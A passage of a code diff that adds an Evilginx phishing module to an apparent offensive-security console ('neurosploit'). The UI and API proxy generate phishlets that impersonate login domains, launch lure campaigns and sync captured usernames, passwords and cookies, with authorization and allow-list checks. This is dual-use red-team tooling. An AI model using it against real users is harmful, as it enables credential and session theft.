</div>
</div>
<nav class="run-tabs" style="margin-bottom:12px;">
${tabs.map(([id, label]) => `<button class="run-tab ${phishState.tab === id ? 'active' : ''}" data-phish-tab="${id}">${label}</button>`).join('')}
</nav>
<div id="phishPanel">${renderPhishPanel(d, p)}</div>
${phishState.yaml ? `<div class="config-card" style="margin-top:16px;"><div class="config-card-title">Phishlet YAML — review before use</div><pre class="c2-output">${esc(phishState.yaml)}</pre></div>` : ''}
${phishState.output ? `<div class="config-card" style="margin-top:16px;"><div class="config-card-title">Output</div><pre class="c2-output">${esc(phishState.output)}</pre></div>` : ''}`;
}
function renderPhishPanel(d, p) {
const tab = phishState.tab;
if (tab === 'campaigns') return renderPhishCampaigns(d);
if (tab === 'captures') return renderPhishCaptures(d, p);
if (tab === 'events') return renderPhishEvents(d);
return renderPhishPhishlets(d);
}
function renderPhishPhishlets(d) {
const tplOpts = (d.templates || ['generic']).map((t) => `<option value="${esc(t)}">${esc(t)}</option>`).join('');
const rows = (d.phishlets || []).map((pl) => `
<tr>
<td class="mono">${esc(pl.name)}</td>
<td class="mono">${esc(pl.target_domain)}</td>
<td>${esc(pl.template)}</td>
<td><span class="badge ${pl.deployed ? 'badge-ok' : 'badge-muted'}">${pl.deployed ? 'deployed' : 'stored'}</span></td>
<td class="mono">${esc(c2Time(pl.created_at))}</td>
<td>
<button class="btn btn-sm" data-phish-action="phishlet-get" data-id="${esc(pl.name)}">show YAML</button>
<button class="btn btn-sm" data-phish-action="phishlet-deploy" data-id="${esc(pl.name)}">deploy</button>
<button class="btn btn-sm" data-phish-action="phishlet-delete" data-id="${esc(pl.name)}">delete</button>
</td>
</tr>`).join('');
return `
<div class="config-card" style="margin-bottom:16px;">
<div class="config-card-title">Create phishlet from template</div>
<div class="field-row">
<div class="field-group"><label class="field-label" for="phName">Name</label><input id="phName" placeholder="m365-lab" /></div>
<div class="field-group" style="flex:2;"><label class="field-label" for="phTarget">Target brand domain</label><input id="phTarget" placeholder="login.microsoftonline.com" /></div>
<div class="field-group"><label class="field-label" for="phTemplate">Template</label><select id="phTemplate">${tplOpts}</select></div>
</div>
<div class="field-row">
<div class="field-group" style="flex:1;"><label class="field-label" for="phNote">Note</label><input id="phNote" placeholder="optional" /></div>
<div class="field-group" style="flex:0 0 auto;display:flex;align-items:flex-end;"><button class="btn btn-accent" data-phish-action="phishlet-create">Generate phishlet</button></div>
</div>
<div class="field-help">Generated phishlets are written to <code>.neurosploit/phish/phishlets/</code> (0600). Review the YAML before every campaign.</div>
</div>
<div class="table-wrap"><table class="data-table">
<thead><tr><th>Name</th><th>Target</th><th>Template</th><th>Status</th><th>Created</th><th></th></tr></thead>
<tbody>${rows || '<tr><td colspan="6" class="empty-state">No phishlets yet — generate one from an authorized target domain.</td></tr>'}</tbody>
</table></div>`;
}
function renderPhishCampaigns(d) {
const plOpts = (d.phishlets || []).map((pl) => `<option value="${esc(pl.name)}">${esc(pl.name)}</option>`).join('');
const rows = (d.campaigns || []).map((c) => `
<tr>
<td class="mono">${esc(c.id)}</td>
<td>${esc(c.name)}</td>
<td class="mono">${esc(c.phishlet)}</td>
<td class="mono">${esc(c.hostname)}</td>
<td class="mono">${esc(c.lure_url)}</td>
<td><span class="badge ${c.status === 'active' ? 'badge-ok' : 'badge-muted'}">${esc(c.status)}</span></td>
<td>
<button class="btn btn-sm" data-phish-action="campaign-start" data-id="${esc(c.id)}">start</button>
<button class="btn btn-sm" data-phish-action="campaign-stop" data-id="${esc(c.id)}">stop</button>
<button class="btn btn-sm" data-phish-action="campaign-delete" data-id="${esc(c.id)}">delete</button>
</td>
</tr>`).join('');
return `
<div class="config-card" style="margin-bottom:16px;">
<div class="config-card-title">Create lure / campaign</div>
<div class="field-row">
<div class="field-group"><label class="field-label" for="phCampName">Name</label><input id="phCampName" placeholder="q4-awareness" /></div>
<div class="field-group"><label class="field-label" for="phCampPhishlet">Phishlet</label><select id="phCampPhishlet">${plOpts || '<option value="">generate a phishlet first</option>'}</select></div>
<div class="field-group"><label class="field-label" for="phCampHost">Lure hostname</label><input id="phCampHost" placeholder="login.phish-lab.example" /></div>
<div class="field-group" style="flex:2;"><label class="field-label" for="phCampRedirect">Redirect URL (after capture)</label><input id="phCampRedirect" placeholder="https://phish-lab.example/done" /></div>
</div>
<div class="config-card-actions"><button class="btn btn-accent" data-phish-action="campaign-create">Create campaign</button></div>
<div class="field-help">Lure hostnames must be in the authorized phishing-domains list. Lures are generated by Evilginx; this records the campaign metadata and audit entry.</div>
</div>
<div class="table-wrap"><table class="data-table">
<thead><tr><th>Campaign</th><th>Name</th><th>Phishlet</th><th>Hostname</th><th>Lure URL</th><th>Status</th><th></th></tr></thead>
<tbody>${rows || '<tr><td colspan="7" class="empty-state">No campaigns yet.</td></tr>'}</tbody>
</table></div>`;
}
function renderPhishCaptures(d, p) {
const rows = (d.captures || []).slice().reverse().map((c) => `
<tr>
<td class="mono">${esc(c2Time(c.ts))}</td>
<td class="mono">${esc(c.username || '—')}</td>
<td class="mono">${esc(c.hostname || '—')}</td>
<td>${c.password_set ? '<span class="badge badge-warn">password</span>' : '<span class="badge badge-muted">—</span>'}</td>
<td class="mono">${esc(c.cookie_count || 0)}</td>
<td class="mono">${esc(c.source || '—')}</td>
</tr>`).join('');
return `
<div class="config-card" style="margin-bottom:16px;">
<div class="config-card-title">Captures ${c2Badge(!!p.allow_capture, 'capture enabled', 'capture disabled')}</div>
<div class="config-card-desc">Secrets are redacted in the console and stored 0600 under <code>.neurosploit/phish/</code>. Sync scrapes the Evilginx log for <code>username=… password=…</code> capture lines.</div>
<div class="config-card-actions">
<button class="btn btn-accent" data-phish-action="capture-sync" ${p.allow_capture ? '' : 'disabled'}>Sync captures from log</button>
</div>
</div>
<div class="table-wrap"><table class="data-table">
<thead><tr><th>Time</th><th>Username</th><th>Hostname</th><th>Password</th><th>Cookies</th><th>Source</th></tr></thead>
<tbody>${rows || '<tr><td colspan="6" class="empty-state">No captures yet.</td></tr>'}</tbody>
</table></div>`;
}
function renderPhishEvents(d) {
const rows = (d.events || []).map((e) => `
<tr><td class="mono">${esc(new Date(e.ts).toLocaleString())}</td><td>${esc(e.level)}</td><td>${esc(e.kind)}</td><td>${esc(e.message)}</td></tr>`).join('');
return `<div class="table-wrap"><table class="data-table">
<thead><tr><th>Time</th><th>Level</th><th>Kind</th><th>Message</th></tr></thead>
<tbody>${rows || '<tr><td colspan="4" class="empty-state">No events yet.</td></tr>'}</tbody>
</table></div>`;
}
document.addEventListener('click', async (ev) => {
const tab = ev.target.closest('[data-phish-tab]');
if (tab) { phishState.tab = tab.dataset.phishTab; renderPhish(); return; }
const el = ev.target.closest('[data-phish-action]');
if (!el || !el.closest('#phishBody')) return;
const action = el.dataset.phishAction;
const id = el.dataset.id || '';
try {
if (action === 'enable') {
const auth = $('#phAuth')?.value.trim();
if (!auth) { fieldError('#phEnableError', 'an authorization reference is required'); return; }
await c2Post('/api/phish/enable', {
authorization: auth,
domains: $('#phDomains')?.value || '',
phishingDomains: $('#phPhishingDomains')?.value || '',
serverIp: $('#phServerIp')?.value || '',
allowCapture: !!$('#phAllowCapture')?.checked,
allowPublic: !!$('#phAllowPublic')?.checked,
});
toast('Phishing enabled — review phishlets before any campaign', 'info');
await loadPhish(); return;
}
if (action === 'disable') { await c2Post('/api/phish/disable', {}); phishState.output = ''; phishState.yaml = null; await loadPhish(); return; }
if (action === 'refresh') { await loadPhish(); return; }
if (action === 'install') {
toast('Installing Evilginx — this can take several minutes', 'info');
const r = await c2Post('/api/phish/install', {});
phishState.output = r.output || `installed: ${r.installed}`;
await loadPhish(); return;
}
if (action === 'setup') {
const r = await c2Post('/api/phish/setup', {
server_ip: $('#phSetupIp')?.value || '',
domain: $('#phSetupDomain')?.value || '',
});
phishState.output = `config: ${r.config_path}\nserver_ip: ${r.server_ip}\ndomain: ${r.domain}`;
await loadPhish(); return;
}
if (action === 'start') {
const r = await c2Post('/api/phish/start', {});
phishState.output = `running: ${r.running} pid: ${r.pid || '—'}\nlog: ${r.log || ''}`;
await loadPhish(); return;
}
if (action === 'stop') {
await c2Post('/api/phish/stop', {});
phishState.output = 'Evilginx stopped';
await loadPhish(); return;
}
if (action === 'phishlet-create') {
const r = await c2Post('/api/phish/phishlets', {
name: $('#phName')?.value.trim() || 'phishlet',
target_domain: $('#phTarget')?.value.trim() || '',
template: $('#phTemplate')?.value || 'generic',
note: $('#phNote')?.value || '',
});
phishState.yaml = r.yaml || null;
phishState.output = '';
toast('Phishlet generated — review the YAML', 'info');
await loadPhish(); return;
}
if (action === 'phishlet-get') {
const r = await api(`/api/phish/phishlets/${encodeURIComponent(id)}`);
phishState.yaml = r.yaml || '';
phishState.output = '';
await loadPhish(); return;
}
if (action === 'phishlet-deploy') {
await c2Post(`/api/phish/phishlets/${encodeURIComponent(id)}/deploy`, {});
await loadPhish(); return;
}
if (action === 'phishlet-delete') {
if (!window.confirm('Delete this phishlet file and record?')) return;
await api(`/api/phish/phishlets/${encodeURIComponent(id)}`, { method: 'DELETE' });
phishState.yaml = null;
await loadPhish(); return;
}
if (action === 'campaign-create') {
await c2Post('/api/phish/campaigns', {
name: $('#phCampName')?.value.trim() || 'campaign',
phishlet: $('#phCampPhishlet')?.value || '',
hostname: $('#phCampHost')?.value.trim() || '',
redirect_url: $('#phCampRedirect')?.value || '',
});
await loadPhish(); return;
}
if (action === 'campaign-start' || action === 'campaign-stop') {
await c2Post(`/api/phish/campaigns/${encodeURIComponent(id)}/${action === 'campaign-start' ? 'start' : 'stop'}`, {});
await loadPhish(); return;
}
if (action === 'campaign-delete') {
if (!window.confirm('Delete this campaign?')) return;
await api(`/api/phish/campaigns/${encodeURIComponent(id)}`, { method: 'DELETE' });
await loadPhish(); return;
}
if (action === 'capture-sync') {
const r = await c2Post('/api/phish/captures/sync', {});
phishState.output = `imported ${r.imported || 0} capture(s) from ${r.source || ''}`;
await loadPhish(); return;
}
} catch (e) {
toast(e.message, 'error', 9000);
}
});
$('#btnPhishRefresh')?.addEventListener('click', () => loadPhish());
// ---------------------------------------------------------------------------
// Toolbox — 200+ real tools + MCP tool servers
// ---------------------------------------------------------------------------
+14
View File
@@ -53,6 +53,7 @@
<button class="sb-nav-item" data-view="guardrails"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M12 3.2 19.5 6v5.6c0 4.4-3.1 7.5-7.5 9.2-4.4-1.7-7.5-4.8-7.5-9.2V6z"/><path d="m9 12 2.2 2.2L15.2 10"/></svg></span> Guardrails</button>
<div class="sb-nav-separator"></div>
<button class="sb-nav-item" data-view="c2"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 5h16v11H4z"/><path d="M8 20h8M12 16v4"/><path d="m7 9 2.5 2L7 13M12 13h4"/></svg></span> C2 &amp; Shells</button>
<button class="sb-nav-item" data-view="phish"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M15 4c3 2 5 6 4 10-1 3-4 4-6 3"/><path d="M13 17c-2 2-6 2-8-1-2-4 1-9 6-11"/><path d="M8 12a2 2 0 1 0 0.1 0"/><path d="M9.5 12.5 15 18"/></svg></span> Phishing</button>
<button class="sb-nav-item" data-view="toolbox"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7h16M4 12h16M4 17h16"/><circle cx="7" cy="7" r="1"/><circle cx="12" cy="12" r="1"/><circle cx="17" cy="17" r="1"/></svg></span> Toolbox</button>
<button class="sb-nav-item" id="sbTerminal"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="m5 7 5 5-5 5M12.5 18H19"/></svg></span> Terminal</button>
<button class="sb-nav-item" data-view="integrations"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M9 3v5M15 3v5M6.5 8h11v3.5a5.5 5.5 0 0 1-11 0zM12 17v4"/></svg></span> Integrations</button>
@@ -304,6 +305,19 @@
<div class="page-body" id="c2Body"><div class="empty-state">Loading…</div></div>
</section>
<!-- ============ PHISHING (EVILGINX) ============ -->
<section class="page-view" id="phishView" hidden>
<header class="topbar">
<div>
<div class="topbar-title">Phishing (Evilginx)</div>
<div class="topbar-sub">Authorized adversary-in-the-middle phishing — phishlets, lures and capture; opt-in, domain allow-list, fully audited</div>
</div>
<div class="topbar-spacer"></div>
<button class="btn btn-sm" id="btnPhishRefresh">Refresh</button>
</header>
<div class="page-body" id="phishBody"><div class="empty-state">Loading…</div></div>
</section>
<!-- ============ GUARDRAILS ============ -->
<section class="page-view" id="guardrailsView" hidden>
<header class="topbar">
+137
View File
@@ -222,6 +222,29 @@ function c2PushStr(args, flag, value) {
}
function c2PushBool(args, flag, on) { if (on) args.push(flag); }
// ---------------------------------------------------------------------------
// Phishing (Evilginx) — thin proxy over `neurosploit phish`. The manager owns
// phishlet generation, the Evilginx lifecycle and capture ingestion; the
// console never re-implements them. Disabled by default: mutating calls fail
// closed until the operator enables it with an authorization reference.
// ---------------------------------------------------------------------------
async function phishCall(args) {
const out = await runCli(['phish', ...args, '--json']);
const text = stripAnsi(out.buf || '').trim();
if (out.code !== 0) {
let msg = text || 'phish command failed';
try { const v = JSON.parse(text); msg = v.error || msg; } catch { /* keep text */ }
throw new Error(msg);
}
try { return JSON.parse(text); }
catch {
const m = text.match(/\{[\s\S]*\}\s*$/);
if (m) { try { return JSON.parse(m[0]); } catch { /* fall through */ } }
throw new Error(text || 'phish returned no JSON');
}
}
// ---------------------------------------------------------------------------
// Providers — mirrors crates/harness/src/models.rs `providers()`. Kept as a
// literal table (not parsed from CLI output) so `kind` ("cli" = usable via a
@@ -2640,6 +2663,120 @@ const server = http.createServer(async (req, res) => {
}
}
// ---- Phishing (Evilginx) -----------------------------------------------
if (p.startsWith('/api/phish')) {
try {
if (req.method === 'GET' && p === '/api/phish/status') {
return sendJson(res, 200, await phishCall(['status']));
}
if (req.method === 'POST' && p === '/api/phish/enable') {
const b = await readBody(req);
if (!b.authorization || !String(b.authorization).trim()) {
return sendJson(res, 400, { error: 'authorization reference is required to enable phishing' });
}
const args = ['enable', '--authorization', String(b.authorization).trim()];
for (const d of String(b.domains || '').split(/[,;\s]+/).filter(Boolean)) args.push('--domain', d);
for (const d of String(b.phishingDomains || b.phishing_domains || '').split(/[,;\s]+/).filter(Boolean)) args.push('--phishing-domain', d);
c2PushBool(args, '--allow-public', b.allowPublic || b.allow_public);
c2PushBool(args, '--allow-capture', b.allowCapture || b.allow_capture);
c2PushStr(args, '--server-ip', b.serverIp || b.server_ip);
return sendJson(res, 200, await phishCall(args));
}
if (req.method === 'POST' && p === '/api/phish/disable') {
return sendJson(res, 200, await phishCall(['disable']));
}
if ((req.method === 'PUT' || req.method === 'POST') && p === '/api/phish/policy') {
const b = await readBody(req);
const args = ['policy'];
c2PushStr(args, '--authorized-by', b.authorized_by);
if (typeof b.allow_public === 'boolean') args.push('--allow-public', String(b.allow_public));
if (typeof b.allow_capture === 'boolean') args.push('--allow-capture', String(b.allow_capture));
if (Array.isArray(b.allowed_domains)) for (const d of b.allowed_domains) args.push('--domain', String(d));
if (Array.isArray(b.phishing_domains)) for (const d of b.phishing_domains) args.push('--phishing-domain', String(d));
c2PushStr(args, '--server-ip', b.server_ip);
return sendJson(res, 200, await phishCall(args));
}
if (req.method === 'GET' && p === '/api/phish/evilginx') {
return sendJson(res, 200, await phishCall(['evilginx-status']));
}
if (req.method === 'POST' && p === '/api/phish/install') {
return sendJson(res, 200, await phishCall(['install']));
}
if (req.method === 'POST' && p === '/api/phish/setup') {
const b = await readBody(req);
const args = ['setup', '--server-ip', String(b.server_ip || b.serverIp || '')];
args.push('--domain', String(b.domain || ''));
for (const d of String(b.phishing_domains || b.phishingDomains || '').split(/[,;\s]+/).filter(Boolean)) args.push('--phishing-domain', d);
return sendJson(res, 200, await phishCall(args));
}
if (req.method === 'POST' && p === '/api/phish/start') {
return sendJson(res, 200, await phishCall(['start']));
}
if (req.method === 'POST' && p === '/api/phish/stop') {
return sendJson(res, 200, await phishCall(['stop']));
}
if (req.method === 'GET' && p === '/api/phish/phishlets') {
return sendJson(res, 200, await phishCall(['phishlet', 'list']));
}
if (req.method === 'POST' && p === '/api/phish/phishlets') {
const b = await readBody(req);
const args = ['phishlet', 'create', '--name', String(b.name || 'phishlet'), '--target-domain', String(b.target_domain || b.targetDomain || '')];
c2PushStr(args, '--template', b.template);
c2PushStr(args, '--note', b.note);
return sendJson(res, 200, await phishCall(args));
}
let pm = p.match(/^\/api\/phish\/phishlets\/([\w.-]+)\/deploy$/);
if (req.method === 'POST' && pm) {
return sendJson(res, 200, await phishCall(['phishlet', 'deploy', pm[1]]));
}
pm = p.match(/^\/api\/phish\/phishlets\/([\w.-]+)$/);
if (req.method === 'GET' && pm) {
return sendJson(res, 200, await phishCall(['phishlet', 'get', pm[1]]));
}
if (req.method === 'DELETE' && pm) {
return sendJson(res, 200, await phishCall(['phishlet', 'delete', pm[1]]));
}
if (req.method === 'GET' && p === '/api/phish/campaigns') {
return sendJson(res, 200, await phishCall(['campaign', 'list']));
}
if (req.method === 'POST' && p === '/api/phish/campaigns') {
const b = await readBody(req);
const args = ['campaign', 'create', '--name', String(b.name || 'campaign'), '--phishlet', String(b.phishlet || ''), '--hostname', String(b.hostname || '')];
c2PushStr(args, '--redirect-url', b.redirect_url || b.redirectUrl);
c2PushStr(args, '--note', b.note);
return sendJson(res, 200, await phishCall(args));
}
let cm = p.match(/^\/api\/phish\/campaigns\/([\w.-]+)\/(start|stop)$/);
if (req.method === 'POST' && cm) {
return sendJson(res, 200, await phishCall(['campaign', cm[2], cm[1]]));
}
cm = p.match(/^\/api\/phish\/campaigns\/([\w.-]+)$/);
if (req.method === 'DELETE' && cm) {
return sendJson(res, 200, await phishCall(['campaign', 'delete', cm[1]]));
}
if (req.method === 'GET' && p === '/api/phish/captures') {
const n = Number(u.searchParams.get('limit') || 200);
return sendJson(res, 200, await phishCall(['capture', 'list', '--limit', String(n)]));
}
if (req.method === 'POST' && p === '/api/phish/captures/sync') {
const b = await readBody(req);
const args = ['capture', 'sync'];
c2PushStr(args, '--file', b.file);
c2PushStr(args, '--campaign', b.campaign);
c2PushStr(args, '--phishlet', b.phishlet);
c2PushStr(args, '--hostname', b.hostname);
return sendJson(res, 200, await phishCall(args));
}
if (req.method === 'GET' && p === '/api/phish/events') {
const n = Number(u.searchParams.get('limit') || 100);
return sendJson(res, 200, await phishCall(['events', '--limit', String(n)]));
}
return sendJson(res, 404, { error: 'not found' });
} catch (e) {
return sendJson(res, 400, { error: e.message });
}
}
// ---- C2 / WebShell management ------------------------------------------
if (p.startsWith('/api/c2') || p.startsWith('/api/webshell')) {
try {